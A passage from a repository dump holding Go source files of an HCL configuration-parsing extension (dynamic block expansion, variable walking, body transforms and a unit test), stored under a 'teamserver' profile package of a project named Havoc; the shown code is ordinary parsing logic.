&hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Extraneous dynamic block label\",\n                Detail:   fmt.Sprintf(\"Blocks of type %q require %d label(s).\", blockS.Type, len(blockS.LabelNames)),\n                Subject:  labelExprs[len(blockS.LabelNames)].Range().Ptr(),\n            })\n            return nil, diags\n        } else if len(labelExprs) < len(blockS.LabelNames) {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Insufficient dynamic block labels\",\n                Detail:   fmt.Sprintf(\"Blocks of type %q require %d label(s).\", blockS.Type, len(blockS.LabelNames)),\n                Subject:  labelsAttr.Expr.Range().Ptr(),\n            })\n            return nil, diags\n        }\n    }\n\n    // Since our schema requests only blocks of type \"content\", we can assume\n    // that all entries in specContent.Blocks are content blocks.\n    if len(specContent.Blocks) == 0 {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Missing dynamic content block\",\n            Detail:   \"A dynamic block must have a nested block of type \\\"content\\\" to describe the body of each generated block.\",\n            Subject:  &specContent.MissingItemRange,\n        })\n        return nil, diags\n    }\n    if len(specContent.Blocks) > 1 {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity: hcl.DiagError,\n            Summary:  \"Extraneous dynamic content block\",\n            Detail:   \"Only one nested content block is allowed for each dynamic block.\",\n            Subject:  &specContent.Blocks[1].DefRange,\n        })\n        return nil, diags\n    }\n\n    return &expandSpec{\n        blockType:      blockS.Type,\n        blockTypeRange: rawSpec.LabelRanges[0],\n        defRange:       rawSpec.DefRange,\n        forEachVal:     eachVal,\n        iteratorName:   iteratorName,\n        labelExprs:     labelExprs,\n        contentBody:    specContent.Blocks[0].Body,\n    }, diags\n}\n\nfunc (s *expandSpec) newBlock(i *iteration, ctx *hcl.EvalContext) (*hcl.Block, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n    var labels []string\n    var labelRanges []hcl.Range\n    lCtx := i.EvalContext(ctx)\n    for _, labelExpr := range s.labelExprs {\n        labelVal, labelDiags := labelExpr.Value(lCtx)\n        diags = append(diags, labelDiags...)\n        if labelDiags.HasErrors() {\n            return nil, diags\n        }\n\n        var convErr error\n        labelVal, convErr = convert.Convert(labelVal, cty.String)\n        if convErr != nil {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity:    hcl.DiagError,\n                Summary:     \"Invalid dynamic block label\",\n                Detail:      fmt.Sprintf(\"Cannot use this value as a dynamic block label: %s.\", convErr),\n                Subject:     labelExpr.Range().Ptr(),\n                Expression:  labelExpr,\n                EvalContext: lCtx,\n            })\n            return nil, diags\n        }\n        if labelVal.IsNull() {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity:    hcl.DiagError,\n                Summary:     \"Invalid dynamic block label\",\n                Detail:      \"Cannot use a null value as a dynamic block label.\",\n                Subject:     labelExpr.Range().Ptr(),\n                Expression:  labelExpr,\n                EvalContext: lCtx,\n            })\n            return nil, diags\n        }\n        if !labelVal.IsKnown() {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity:    hcl.DiagError,\n                Summary:     \"Invalid dynamic block label\",\n                Detail:      \"This value is not yet known. Dynamic block labels must be immediately-known values.\",\n                Subject:     labelExpr.Range().Ptr(),\n                Expression:  labelExpr,\n                EvalContext: lCtx,\n            })\n            return nil, diags\n        }\n\n        labels = append(labels, labelVal.AsString())\n        labelRanges = append(labelRanges, labelExpr.Range())\n    }\n\n    block := &hcl.Block{\n        Type:        s.blockType,\n        TypeRange:   s.blockTypeRange,\n        Labels:      labels,\n        LabelRanges: labelRanges,\n        DefRange:    s.defRange,\n        Body:        s.contentBody,\n    }\n\n    return block, diags\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/dynblock/expr_wrap.go",
    "content": "package dynblock\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\ntype exprWrap struct {\n    hcl.Expression\n    i *iteration\n}\n\nfunc (e exprWrap) Variables() []hcl.Traversal {\n    raw := e.Expression.Variables()\n    ret := make([]hcl.Traversal, 0, len(raw))\n\n    // Filter out traversals that refer to our iterator name or any\n    // iterator we've inherited; we're going to provide those in\n    // our Value wrapper, so the caller doesn't need to know about them.\n    for _, traversal := range raw {\n        rootName := traversal.RootName()\n        if rootName == e.i.IteratorName {\n            continue\n        }\n        if _, inherited := e.i.Inherited[rootName]; inherited {\n            continue\n        }\n        ret = append(ret, traversal)\n    }\n    return ret\n}\n\nfunc (e exprWrap) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    extCtx := e.i.EvalContext(ctx)\n    return e.Expression.Value(extCtx)\n}\n\n// UnwrapExpression returns the expression being wrapped by this instance.\n// This allows the original expression to be recovered by hcl.UnwrapExpression.\nfunc (e exprWrap) UnwrapExpression() hcl.Expression {\n    return e.Expression\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/dynblock/iteration.go",
    "content": "package dynblock\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\ntype iteration struct {\n    IteratorName string\n    Key          cty.Value\n    Value        cty.Value\n    Inherited    map[string]*iteration\n}\n\nfunc (s *expandSpec) MakeIteration(key, value cty.Value) *iteration {\n    return &iteration{\n        IteratorName: s.iteratorName,\n        Key:          key,\n        Value:        value,\n        Inherited:    s.inherited,\n    }\n}\n\nfunc (i *iteration) Object() cty.Value {\n    return cty.ObjectVal(map[string]cty.Value{\n        \"key\":   i.Key,\n        \"value\": i.Value,\n    })\n}\n\nfunc (i *iteration) EvalContext(base *hcl.EvalContext) *hcl.EvalContext {\n    new := base.NewChild()\n\n    if i != nil {\n        new.Variables = map[string]cty.Value{}\n        for name, otherIt := range i.Inherited {\n            new.Variables[name] = otherIt.Object()\n        }\n        new.Variables[i.IteratorName] = i.Object()\n    }\n\n    return new\n}\n\nfunc (i *iteration) MakeChild(iteratorName string, key, value cty.Value) *iteration {\n    if i == nil {\n        // Create entirely new root iteration, then\n        return &iteration{\n            IteratorName: iteratorName,\n            Key:          key,\n            Value:        value,\n        }\n    }\n\n    inherited := map[string]*iteration{}\n    for name, otherIt := range i.Inherited {\n        inherited[name] = otherIt\n    }\n    inherited[i.IteratorName] = i\n    return &iteration{\n        IteratorName: iteratorName,\n        Key:          key,\n        Value:        value,\n        Inherited:    inherited,\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/dynblock/public.go",
    "content": "// Package dynblock provides an extension to HCL that allows dynamic\n// declaration of nested blocks in certain contexts via a special block type\n// named \"dynamic\".\npackage dynblock\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// Expand \"dynamic\" blocks in the given body, returning a new body that\n// has those blocks expanded.\n//\n// The given EvalContext is used when evaluating \"for_each\" and \"labels\"\n// attributes within dynamic blocks, allowing those expressions access to\n// variables and functions beyond the iterator variable created by the\n// iteration.\n//\n// Expand returns no diagnostics because no blocks are actually expanded\n// until a call to Content or PartialContent on the returned body, which\n// will then expand only the blocks selected by the schema.\n//\n// \"dynamic\" blocks are also expanded automatically within nested blocks\n// in the given body, including within other dynamic blocks, thus allowing\n// multi-dimensional iteration. However, it is not possible to\n// dynamically-generate the \"dynamic\" blocks themselves except through nesting.\n//\n//     parent {\n//       dynamic \"child\" {\n//         for_each = child_objs\n//         content {\n//           dynamic \"grandchild\" {\n//             for_each = child.value.children\n//             labels   = [grandchild.key]\n//             content {\n//               parent_key = child.key\n//               value      = grandchild.value\n//             }\n//           }\n//         }\n//       }\n//     }\nfunc Expand(body hcl.Body, ctx *hcl.EvalContext) hcl.Body {\n    return &expandBody{\n        original:   body,\n        forEachCtx: ctx,\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/dynblock/schema.go",
    "content": "package dynblock\n\nimport \"Havoc/pkg/profile/yaotl\"\n\nvar dynamicBlockHeaderSchema = hcl.BlockHeaderSchema{\n    Type:       \"dynamic\",\n    LabelNames: []string{\"type\"},\n}\n\nvar dynamicBlockBodySchemaLabels = &hcl.BodySchema{\n    Attributes: []hcl.AttributeSchema{\n        {\n            Name:     \"for_each\",\n            Required: true,\n        },\n        {\n            Name:     \"iterator\",\n            Required: false,\n        },\n        {\n            Name:     \"labels\",\n            Required: true,\n        },\n    },\n    Blocks: []hcl.BlockHeaderSchema{\n        {\n            Type:       \"content\",\n            LabelNames: nil,\n        },\n    },\n}\n\nvar dynamicBlockBodySchemaNoLabels = &hcl.BodySchema{\n    Attributes: []hcl.AttributeSchema{\n        {\n            Name:     \"for_each\",\n            Required: true,\n        },\n        {\n            Name:     \"iterator\",\n            Required: false,\n        },\n    },\n    Blocks: []hcl.BlockHeaderSchema{\n        {\n            Type:       \"content\",\n            LabelNames: nil,\n        },\n    },\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/dynblock/unknown_body.go",
    "content": "package dynblock\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\n// unknownBody is a funny body that just reports everything inside it as\n// unknown. It uses a given other body as a sort of template for what attributes\n// and blocks are inside -- including source location information -- but\n// substitutes unknown values of unknown type for all attributes.\n//\n// This rather odd process is used to handle expansion of dynamic blocks whose\n// for_each expression is unknown. Since a block cannot itself be unknown,\n// we instead arrange for everything _inside_ the block to be unknown instead,\n// to give the best possible approximation.\ntype unknownBody struct {\n    template hcl.Body\n}\n\nvar _ hcl.Body = unknownBody{}\n\n// hcldec.UnkownBody impl\nfunc (b unknownBody) Unknown() bool {\n    return true\n}\n\nfunc (b unknownBody) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) {\n    content, diags := b.template.Content(schema)\n    content = b.fixupContent(content)\n\n    // We're intentionally preserving the diagnostics reported from the\n    // inner body so that we can still report where the template body doesn't\n    // match the requested schema.\n    return content, diags\n}\n\nfunc (b unknownBody) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) {\n    content, remain, diags := b.template.PartialContent(schema)\n    content = b.fixupContent(content)\n    remain = unknownBody{remain} // remaining content must also be wrapped\n\n    // We're intentionally preserving the diagnostics reported from the\n    // inner body so that we can still report where the template body doesn't\n    // match the requested schema.\n    return content, remain, diags\n}\n\nfunc (b unknownBody) JustAttributes() (hcl.Attributes, hcl.Diagnostics) {\n    attrs, diags := b.template.JustAttributes()\n    attrs = b.fixupAttrs(attrs)\n\n    // We're intentionally preserving the diagnostics reported from the\n    // inner body so that we can still report where the template body doesn't\n    // match the requested schema.\n    return attrs, diags\n}\n\nfunc (b unknownBody) MissingItemRange() hcl.Range {\n    return b.template.MissingItemRange()\n}\n\nfunc (b unknownBody) fixupContent(got *hcl.BodyContent) *hcl.BodyContent {\n    ret := &hcl.BodyContent{}\n    ret.Attributes = b.fixupAttrs(got.Attributes)\n    if len(got.Blocks) > 0 {\n        ret.Blocks = make(hcl.Blocks, 0, len(got.Blocks))\n        for _, gotBlock := range got.Blocks {\n            new := *gotBlock                      // shallow copy\n            new.Body = unknownBody{gotBlock.Body} // nested content must also be marked unknown\n            ret.Blocks = append(ret.Blocks, &new)\n        }\n    }\n\n    return ret\n}\n\nfunc (b unknownBody) fixupAttrs(got hcl.Attributes) hcl.Attributes {\n    if len(got) == 0 {\n        return nil\n    }\n    ret := make(hcl.Attributes, len(got))\n    for name, gotAttr := range got {\n        new := *gotAttr // shallow copy\n        new.Expr = hcl.StaticExpr(cty.DynamicVal, gotAttr.Expr.Range())\n        ret[name] = &new\n    }\n    return ret\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/dynblock/variables.go",
    "content": "package dynblock\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\n// WalkVariables begins the recursive process of walking all expressions and\n// nested blocks in the given body and its child bodies while taking into\n// account any \"dynamic\" blocks.\n//\n// This function requires that the caller walk through the nested block\n// structure in the given body level-by-level so that an appropriate schema\n// can be provided at each level to inform further processing. This workflow\n// is thus easiest to use for calling applications that have some higher-level\n// schema representation available with which to drive this multi-step\n// process. If your application uses the hcldec package, you may be able to\n// use VariablesHCLDec instead for a more automatic approach.\nfunc WalkVariables(body hcl.Body) WalkVariablesNode {\n    return WalkVariablesNode{\n        body:           body,\n        includeContent: true,\n    }\n}\n\n// WalkExpandVariables is like Variables but it includes only the variables\n// required for successful block expansion, ignoring any variables referenced\n// inside block contents. The result is the minimal set of all variables\n// required for a call to Expand, excluding variables that would only be\n// needed to subsequently call Content or PartialContent on the expanded\n// body.\nfunc WalkExpandVariables(body hcl.Body) WalkVariablesNode {\n    return WalkVariablesNode{\n        body: body,\n    }\n}\n\ntype WalkVariablesNode struct {\n    body hcl.Body\n    it   *iteration\n\n    includeContent bool\n}\n\ntype WalkVariablesChild struct {\n    BlockTypeName string\n    Node          WalkVariablesNode\n}\n\n// Body returns the HCL Body associated with the child node, in case the caller\n// wants to do some sort of inspection of it in order to decide what schema\n// to pass to Visit.\n//\n// Most implementations should just fetch a fixed schema based on the\n// BlockTypeName field and not access this. Deciding on a schema dynamically\n// based on the body is a strange thing to do and generally necessary only if\n// your caller is already doing other bizarre things with HCL bodies.\nfunc (c WalkVariablesChild) Body() hcl.Body {\n    return c.Node.body\n}\n\n// Visit returns the variable traversals required for any \"dynamic\" blocks\n// directly in the body associated with this node, and also returns any child\n// nodes that must be visited in order to continue the walk.\n//\n// Each child node has its associated block type name given in its BlockTypeName\n// field, which the calling application should use to determine the appropriate\n// schema for the content of each child node and pass it to the child node's\n// own Visit method to continue the walk recursively.\nfunc (n WalkVariablesNode) Visit(schema *hcl.BodySchema) (vars []hcl.Traversal, children []WalkVariablesChild) {\n    extSchema := n.extendSchema(schema)\n    container, _, _ := n.body.PartialContent(extSchema)\n    if container == nil {\n        return vars, children\n    }\n\n    children = make([]WalkVariablesChild, 0, len(container.Blocks))\n\n    if n.includeContent {\n        for _, attr := range container.Attributes {\n            for _, traversal := range attr.Expr.Variables() {\n                var ours, inherited bool\n                if n.it != nil {\n                    ours = traversal.RootName() == n.it.IteratorName\n                    _, inherited = n.it.Inherited[traversal.RootName()]\n                }\n\n                if !(ours || inherited) {\n                    vars = append(vars, traversal)\n                }\n            }\n        }\n    }\n\n    for _, block := range container.Blocks {\n        switch block.Type {\n\n        case \"dynamic\":\n            blockTypeName := block.Labels[0]\n            inner, _, _ := block.Body.PartialContent(variableDetectionInnerSchema)\n            if inner == nil {\n                continue\n            }\n\n            iteratorName := blockTypeName\n            if attr, exists := inner.Attributes[\"iterator\"]; exists {\n                iterTraversal, _ := hcl.AbsTraversalForExpr(attr.Expr)\n                if len(iterTraversal) == 0 {\n                    // Ignore this invalid dynamic block, since it'll produce\n                    // an error if someone tries to extract content from it\n                    // later anyway.\n                    continue\n                }\n                iteratorName = iterTraversal.RootName()\n            }\n            blockIt := n.it.MakeChild(iteratorName, cty.DynamicVal, cty.DynamicVal)\n\n            if attr, exists := inner.Attributes[\"for_each\"]; exists {\n                // Filter out iterator names inherited from parent blocks\n                for _, traversal := range attr.Expr.Variables() {\n                    if _, inherited := blockIt.Inherited[traversal.RootName()]; !inherited {\n                        vars = append(vars, traversal)\n                    }\n                }\n            }\n            if attr, exists := inner.Attributes[\"labels\"]; exists {\n                // Filter out both our own iterator name _and_ those inherited\n                // from parent blocks, since we provide _both_ of these to the\n                // label expressions.\n                for _, traversal := range attr.Expr.Variables() {\n                    ours := traversal.RootName() == iteratorName\n                    _, inherited := blockIt.Inherited[traversal.RootName()]\n\n                    if !(ours || inherited) {\n                        vars = append(vars, traversal)\n                    }\n                }\n            }\n\n            for _, contentBlock := range inner.Blocks {\n                // We only request \"content\" blocks in our schema, so we know\n                // any blocks we find here will be content blocks. We require\n                // exactly one content block for actual expansion, but we'll\n                // be more liberal here so that callers can still collect\n                // variables from erroneous \"dynamic\" blocks.\n                children = append(children, WalkVariablesChild{\n                    BlockTypeName: blockTypeName,\n                    Node: WalkVariablesNode{\n                        body:           contentBlock.Body,\n                        it:             blockIt,\n                        includeContent: n.includeContent,\n                    },\n                })\n            }\n\n        default:\n            children = append(children, WalkVariablesChild{\n                BlockTypeName: block.Type,\n                Node: WalkVariablesNode{\n                    body:           block.Body,\n                    it:             n.it,\n                    includeContent: n.includeContent,\n                },\n            })\n\n        }\n    }\n\n    return vars, children\n}\n\nfunc (n WalkVariablesNode) extendSchema(schema *hcl.BodySchema) *hcl.BodySchema {\n    // We augment the requested schema to also include our special \"dynamic\"\n    // block type, since then we'll get instances of it interleaved with\n    // all of the literal child blocks we must also include.\n    extSchema := &hcl.BodySchema{\n        Attributes: schema.Attributes,\n        Blocks:     make([]hcl.BlockHeaderSchema, len(schema.Blocks), len(schema.Blocks)+1),\n    }\n    copy(extSchema.Blocks, schema.Blocks)\n    extSchema.Blocks = append(extSchema.Blocks, dynamicBlockHeaderSchema)\n\n    return extSchema\n}\n\n// This is a more relaxed schema than what's in schema.go, since we\n// want to maximize the amount of variables we can find even if there\n// are erroneous blocks.\nvar variableDetectionInnerSchema = &hcl.BodySchema{\n    Attributes: []hcl.AttributeSchema{\n        {\n            Name:     \"for_each\",\n            Required: false,\n        },\n        {\n            Name:     \"labels\",\n            Required: false,\n        },\n        {\n            Name:     \"iterator\",\n            Required: false,\n        },\n    },\n    Blocks: []hcl.BlockHeaderSchema{\n        {\n            Type: \"content\",\n        },\n    },\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/dynblock/variables_hcldec.go",
    "content": "package dynblock\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hcldec\"\n)\n\n// VariablesHCLDec is a wrapper around WalkVariables that uses the given hcldec\n// specification to automatically drive the recursive walk through nested\n// blocks in the given body.\n//\n// This is a drop-in replacement for hcldec.Variables which is able to treat\n// blocks of type \"dynamic\" in the same special way that dynblock.Expand would,\n// exposing both the variables referenced in the \"for_each\" and \"labels\"\n// arguments and variables used in the nested \"content\" block.\nfunc VariablesHCLDec(body hcl.Body, spec hcldec.Spec) []hcl.Traversal {\n    rootNode := WalkVariables(body)\n    return walkVariablesWithHCLDec(rootNode, spec)\n}\n\n// ExpandVariablesHCLDec is like VariablesHCLDec but it includes only the\n// minimal set of variables required to call Expand, ignoring variables that\n// are referenced only inside normal block contents. See WalkExpandVariables\n// for more information.\nfunc ExpandVariablesHCLDec(body hcl.Body, spec hcldec.Spec) []hcl.Traversal {\n    rootNode := WalkExpandVariables(body)\n    return walkVariablesWithHCLDec(rootNode, spec)\n}\n\nfunc walkVariablesWithHCLDec(node WalkVariablesNode, spec hcldec.Spec) []hcl.Traversal {\n    vars, children := node.Visit(hcldec.ImpliedSchema(spec))\n\n    if len(children) > 0 {\n        childSpecs := hcldec.ChildBlockTypes(spec)\n        for _, child := range children {\n            if childSpec, exists := childSpecs[child.BlockTypeName]; exists {\n                vars = append(vars, walkVariablesWithHCLDec(child.Node, childSpec)...)\n            }\n        }\n    }\n\n    return vars\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/dynblock/variables_test.go",
    "content": "package dynblock\n\nimport (\n    \"reflect\"\n    \"testing\"\n\n    \"Havoc/pkg/profile/yaotl/hcldec\"\n    \"github.com/zclconf/go-cty/cty\"\n\n    \"github.com/davecgh/go-spew/spew\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n)\n\nfunc TestVariables(t *testing.T) {\n    const src = `\n\n# We have some references to things inside the \"val\" attribute inside each\n# of our \"b\" blocks, which should be included in the result of WalkVariables\n# but not WalkExpandVariables.\n\na {\n  dynamic \"b\" {\n    for_each = [for i, v in some_list_0: \"${i}=${v},${baz}\"]\n    labels = [\"${b.value} ${something_else_0}\"]\n    content {\n      val = \"${b.value} ${something_else_1}\"\n    }\n  }\n}\n\ndynamic \"a\" {\n  for_each = some_list_1\n\n  content {\n    b \"foo\" {\n      val = \"${a.value} ${something_else_2}\"\n    }\n\n    dynamic \"b\" {\n      for_each = some_list_2\n      iterator = dyn_b\n      labels = [\"${a.value} ${dyn_b.value} ${b} ${something_else_3}\"]\n      content {\n        val = \"${a.value} ${dyn_b.value} ${something_else_4}\"\n      }\n    }\n  }\n}\n\ndynamic \"a\" {\n  for_each = some_list_3\n  iterator = dyn_a\n\n  content {\n    b \"foo\" {\n      val = \"${dyn_a.value} ${something_else_5}\"\n    }\n\n    dynamic \"b\" {\n      for_each = some_list_4\n      labels = [\"${dyn_a.value} ${b.value} ${a} ${something_else_6}\"]\n      content {\n        val = \"${dyn_a.value} ${b.value} ${something_else_7}\"\n      }\n    }\n  }\n}\n`\n\n    f, diags := hclsyntax.ParseConfig([]byte(src), \"\", hcl.Pos{})\n    if len(diags) != 0 {\n        t.Errorf(\"unexpected diagnostics during parse\")\n        for _, diag := range diags {\n            t.Logf(\"- %s\", diag)\n        }\n        return\n    }\n\n    spec := &hcldec.BlockListSpec{\n        TypeName: \"a\",\n        Nested: &hcldec.BlockMapSpec{\n            TypeName:   \"b\",\n            LabelNames: []string{\"key\"},\n            Nested: &hcldec.AttrSpec{\n                Name: \"val\",\n                Type: cty.String,\n            },\n        },\n    }\n\n    t.Run(\"WalkVariables\", func(t *testing.T) {\n        traversals := VariablesHCLDec(f.Body, spec)\n        got := make([]string, len(traversals))\n        for i, traversal := range traversals {\n            got[i] = traversal.RootName()\n        }\n\n        // The block structure is traversed one level at a time, so the ordering\n        // here is reflecting first a pass of the root, then the first child\n        // under the root, then the first child under that, etc.\n        want := []string{\n            \"some_list_1\",\n            \"some_list_3\",\n            \"some_list_0\",\n            \"baz\",\n            \"something_else_0\",\n            \"something_else_1\", // Would not be included for WalkExpandVariables because it only appears in content\n            \"some_list_2\",\n            \"b\", // This is correct because it is referenced in a context where the iterator is overridden to be dyn_b\n            \"something_else_3\",\n            \"something_else_2\", // Would not be included for WalkExpandVariables because it only appears in content\n            \"something_else_4\", // Would not be included for WalkExpandVariables because it only appears in content\n            \"some_list_4\",\n            \"a\", // This is correct because it is referenced in a context where the iterator is overridden to be dyn_a\n            \"something_else_6\",\n            \"something_else_5\", // Would not be included for WalkExpandVariables because it only appears in content\n            \"something_else_7\", // Would not be included for WalkExpandVariables because it only appears in content\n        }\n\n        if !reflect.DeepEqual(got, want) {\n            t.Errorf(\"wrong result\\ngot: %swant: %s\", spew.Sdump(got), spew.Sdump(want))\n        }\n    })\n\n    t.Run(\"WalkExpandVariables\", func(t *testing.T) {\n        traversals := ExpandVariablesHCLDec(f.Body, spec)\n        got := make([]string, len(traversals))\n        for i, traversal := range traversals {\n            got[i] = traversal.RootName()\n        }\n\n        // The block structure is traversed one level at a time, so the ordering\n        // here is reflecting first a pass of the root, then the first child\n        // under the root, then the first child under that, etc.\n        want := []string{\n            \"some_list_1\",\n            \"some_list_3\",\n            \"some_list_0\",\n            \"baz\",\n            \"something_else_0\",\n            \"some_list_2\",\n            \"b\", // This is correct because it is referenced in a context where the iterator is overridden to be dyn_b\n            \"something_else_3\",\n            \"some_list_4\",\n            \"a\", // This is correct because it is referenced in a context where the iterator is overridden to be dyn_a\n            \"something_else_6\",\n        }\n\n        if !reflect.DeepEqual(got, want) {\n            t.Errorf(\"wrong result\\ngot: %swant: %s\", spew.Sdump(got), spew.Sdump(want))\n        }\n    })\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/transform/doc.go",
    "content": "// Package transform is a helper package for writing extensions that work\n// by applying transforms to bodies.\n//\n// It defines a type for body transformers, and then provides utilities in\n// terms of that type for working with transformers, including recursively\n// applying such transforms as hierarchical block structures are extracted.\npackage transform\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/transform/error.go",
    "content": "package transform\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// NewErrorBody returns a hcl.Body that returns the given diagnostics whenever\n// any of its content-access methods are called.\n//\n// The given diagnostics must have at least one diagnostic of severity\n// hcl.DiagError, or this function will panic.\n//\n// This can be used to prepare a return value for a Transformer that\n// can't complete due to an error. While the transform itself will succeed,\n// the error will be returned as soon as a caller attempts to extract content\n// from the resulting body.\nfunc NewErrorBody(diags hcl.Diagnostics) hcl.Body {\n    if !diags.HasErrors() {\n        panic(\"NewErrorBody called without any error diagnostics\")\n    }\n    return diagBody{\n        Diags: diags,\n    }\n}\n\n// BodyWithDiagnostics returns a hcl.Body that wraps another hcl.Body\n// and emits the given diagnostics for any content-extraction method.\n//\n// Unlike the result of NewErrorBody, a body with diagnostics still runs\n// the extraction actions on the underlying body if (and only if) the given\n// diagnostics do not contain errors, but prepends the given diagnostics with\n// any diagnostics produced by the action.\n//\n// If the given diagnostics is empty, the given body is returned verbatim.\n//\n// This function is intended for conveniently reporting errors and/or warnings\n// produced during a transform, ensuring that they will be seen when the\n// caller eventually extracts content from the returned body.\nfunc BodyWithDiagnostics(body hcl.Body, diags hcl.Diagnostics) hcl.Body {\n    if len(diags) == 0 {\n        // nothing to do!\n        return body\n    }\n\n    return diagBody{\n        Diags:   diags,\n        Wrapped: body,\n    }\n}\n\ntype diagBody struct {\n    Diags   hcl.Diagnostics\n    Wrapped hcl.Body\n}\n\nfunc (b diagBody) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) {\n    if b.Diags.HasErrors() {\n        return b.emptyContent(), b.Diags\n    }\n\n    content, wrappedDiags := b.Wrapped.Content(schema)\n    diags := make(hcl.Diagnostics, 0, len(b.Diags)+len(wrappedDiags))\n    diags = append(diags, b.Diags...)\n    diags = append(diags, wrappedDiags...)\n    return content, diags\n}\n\nfunc (b diagBody) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) {\n    if b.Diags.HasErrors() {\n        return b.emptyContent(), b.Wrapped, b.Diags\n    }\n\n    content, remain, wrappedDiags := b.Wrapped.PartialContent(schema)\n    diags := make(hcl.Diagnostics, 0, len(b.Diags)+len(wrappedDiags))\n    diags = append(diags, b.Diags...)\n    diags = append(diags, wrappedDiags...)\n    return content, remain, diags\n}\n\nfunc (b diagBody) JustAttributes() (hcl.Attributes, hcl.Diagnostics) {\n    if b.Diags.HasErrors() {\n        return nil, b.Diags\n    }\n\n    attributes, wrappedDiags := b.Wrapped.JustAttributes()\n    diags := make(hcl.Diagnostics, 0, len(b.Diags)+len(wrappedDiags))\n    diags = append(diags, b.Diags...)\n    diags = append(diags, wrappedDiags...)\n    return attributes, diags\n}\n\nfunc (b diagBody) MissingItemRange() hcl.Range {\n    if b.Wrapped != nil {\n        return b.Wrapped.MissingItemRange()\n    }\n\n    // Placeholder. This should never be seen in practice because decoding\n    // a diagBody without a wrapped body should always produce an error.\n    return hcl.Range{\n        Filename: \"<empty>\",\n    }\n}\n\nfunc (b diagBody) emptyContent() *hcl.BodyContent {\n    return &hcl.BodyContent{\n        MissingItemRange: b.MissingItemRange(),\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/transform/transform.go",
    "content": "package transform\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// Shallow is equivalent to calling transformer.TransformBody(body), and\n// is provided only for completeness of the top-level API.\nfunc Shallow(body hcl.Body, transformer Transformer) hcl.Body {\n    return transformer.TransformBody(body)\n}\n\n// Deep applies the given transform to the given body and then\n// wraps the result such that any descendent blocks that are decoded will\n// also have the transform applied to their bodies.\n//\n// This allows for language extensions that define a particular block type\n// for a particular body and all nested blocks within it.\n//\n// Due to the wrapping behavior, the body resulting from this function\n// will not be of the type returned by the transformer. Callers may call\n// only the methods defined for interface hcl.Body, and may not type-assert\n// to access other methods.\nfunc Deep(body hcl.Body, transformer Transformer) hcl.Body {\n    return deepWrapper{\n        Transformed: transformer.TransformBody(body),\n        Transformer: transformer,\n    }\n}\n\n// deepWrapper is a hcl.Body implementation that ensures that a given\n// transformer is applied to another given body when content is extracted,\n// and that it recursively applies to any child blocks that are extracted.\ntype deepWrapper struct {\n    Transformed hcl.Body\n    Transformer Transformer\n}\n\nfunc (w deepWrapper) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) {\n    content, diags := w.Transformed.Content(schema)\n    content = w.transformContent(content)\n    return content, diags\n}\n\nfunc (w deepWrapper) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) {\n    content, remain, diags := w.Transformed.PartialContent(schema)\n    content = w.transformContent(content)\n    return content, remain, diags\n}\n\nfunc (w deepWrapper) transformContent(content *hcl.BodyContent) *hcl.BodyContent {\n    if len(content.Blocks) == 0 {\n        // Easy path: if there are no blocks then there are no child bodies to wrap\n        return content\n    }\n\n    // Since we're going to change things here, we'll be polite and clone the\n    // structure so that we don't risk impacting any internal state of the\n    // original body.\n    ret := &hcl.BodyContent{\n        Attributes:       content.Attributes,\n        MissingItemRange: content.MissingItemRange,\n        Blocks:           make(hcl.Blocks, len(content.Blocks)),\n    }\n\n    for i, givenBlock := range content.Blocks {\n        // Shallow-copy the block so we can mutate it\n        newBlock := *givenBlock\n        newBlock.Body = Deep(newBlock.Body, w.Transformer)\n        ret.Blocks[i] = &newBlock\n    }\n\n    return ret\n}\n\nfunc (w deepWrapper) JustAttributes() (hcl.Attributes, hcl.Diagnostics) {\n    // Attributes can't have bodies or nested blocks, so this is just a thin wrapper.\n    return w.Transformed.JustAttributes()\n}\n\nfunc (w deepWrapper) MissingItemRange() hcl.Range {\n    return w.Transformed.MissingItemRange()\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/transform/transform_test.go",
